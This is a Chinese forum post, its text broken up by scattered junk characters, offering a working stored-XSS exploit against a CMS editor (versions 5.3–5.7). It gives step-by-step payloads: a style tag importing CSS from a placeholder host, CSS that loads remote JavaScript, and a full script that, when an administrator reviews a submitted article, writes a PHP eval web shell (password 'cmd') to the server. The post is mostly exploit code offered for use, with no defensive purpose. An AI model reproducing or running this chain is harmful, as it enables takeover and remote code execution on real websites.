<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
. s9 u+ P6 |. ]- q( g为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰); Q& |: h1 O3 z& J% ^
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。! p( J# M3 m8 P0 n. o
下面说说利用方法。* {! b+ p* K0 F; g, T
条件有2个:
6 i& F; o/ ^# C( n2 I) `# @1.开启注册
! o8 @+ N. I6 L, I6 l3 Y2.开启投稿- d$ D6 M, ^' B7 k- E# @* L5 |
注册会员----发表文章
8 I/ R: y& D/ U7 ?内容填写:3 n2 Z2 N2 c+ Z, T: d
复制代码# L7 G- e2 S1 j1 L. M2 C
<style>@im\port'\http://xxx.com/xss.css';</style>
3 Q, {7 Y @! F, Q' P! J新建XSS.Css
( C6 w* D% v" m复制代码
: z" _/ t* J& S* B! {* U& F.body{7 v8 ~- i6 ~+ d# g- ?5 W0 I5 n# ?
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }2 J7 S7 n. w' [3 D# D* Q$ d
新建xss.js 内容为
7 n& e- m" n, W- }5 R复制代码2 g7 L1 y- Y2 x5 u2 S: {
1.var request = false;( U* b- P$ [2 o* A2 |& [
2.if(window.XMLHttpRequest) {
7 t. w- N, Q! K! H; v3.request = new XMLHttpRequest();
5 B% U+ t7 d i% y4.if(request.overrideMimeType) {
. b- |5 S: c% F! O8 N5.request.overrideMimeType('text/xml');
0 F1 H8 L0 v) }+ o6.}" Y- `8 d6 g) C( h+ W% B
7.} else if(window.ActiveXObject) {9 p6 t! ]- k' c0 h* a
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];1 E; K: ` w# r4 O6 W$ w5 f
9.for(var i=0; i<versions.length; i++) {# Y5 _* @! _9 ~) o$ T/ s
10.try {4 v4 N5 h5 H' f w; F
11.request = new ActiveXObject(versions);
) u$ P% C8 R" @- n; p- S12.} catch(e) {}
* @/ q8 N4 t0 f; W( O: O13.}: }) Q' }% D" y5 o5 y8 v" o2 E
14.}
1 j* b9 s. M& j% E, \15.xmlhttp=request;9 T8 b* ]; `5 a# K* {
16.function getFolder( url ){
D. W9 b" c ^0 W* q) Y17. obj = url.split('/')' e% x1 L& t. @. C! V- ~
18. return obj[obj.length-2]/ P$ n. V+ v) x* d8 ^
19.}
3 @; W' u& u1 @- C20.oUrl = top.location.href;2 ^9 ]& {2 T" n) E/ t8 X1 x8 o, s
21.u = getFolder(oUrl);
$ Q+ @! {$ ]6 m! a22.add_admin();
6 j: u; X4 U {3 b. Q% J/ x9 d( j23.function add_admin(){
" V, S& V" R. f+ u3 N+ G24.var url= "/"+u+"/sys_sql_query.php";1 V l _) d: ^# c* U' Y
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
% ]- B/ i& {4 X26.xmlhttp.open("POST", url, true);6 w& H3 a3 h5 r M# U0 V0 g
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
( p' C8 s j7 p8 n1 K- x28.xmlhttp.setRequestHeader("Content-length", params.length);2 a" R4 y! K4 }9 ^3 S7 {
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
$ { a5 b9 Y& X& L; [" e' t8 S30.xmlhttp.send(params);- F0 r6 Z. ` G# {4 L5 Z8 T, W
31.}1 g7 p) l4 q3 x, l, ^; R
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |